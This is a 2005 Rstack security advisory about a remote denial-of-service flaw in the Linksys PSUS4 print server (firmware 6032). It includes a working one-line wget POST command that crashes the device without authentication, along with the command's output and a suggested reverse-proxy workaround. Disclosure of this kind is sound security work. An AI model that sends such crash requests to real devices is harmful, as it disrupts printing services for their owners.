[ RSTACK Public Security Advisory ] Remote DOS against Linksys PSUS4
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Rstack Public Security Advisory RSTACK SA200502-02
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http://rstack.org/
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Severity: Normal
Title: Linksys PSUS4 remote Denial of Service
Date: February 02, 2005
ID: 200502-02
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Background
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PSUS4 is one of the small embedded Linksys wired print servers.
Affected products
=================
Model Name: PSUS4 (not tested against others)
Firmware Version: 6032 (not tested against others)
Description
===========
Rstack team found a tiny denial of service on the Linksys PSUS4. This device
has problems to handle some weird ugly HTTP requests. No password needed.
Here is an example, to crash a remote PSUS4 :
$ wget --post-data="Br1Ce2N1c3" http://192.168.1.2/
--23:10:05-- http://192.168.1.2/
=> `index.html'
Connecting to 192.168.1.2:80... connected.
HTTP request sent, awaiting response...
=> And the PSUS4 is crashed.
Impact
======
A remote attacker could crash the device (DOS).
Workaround
==========
There is no official workaround at that time. Linksys has been contacted and a
patch should be available in the future (*).
In needed, you can try to filter incoming requests by using a specific
dedicated reverse proxy, but that might be a too big solution for such a little
device (hint: a reboot will be necessary after each crash).
(*) "ou pas"...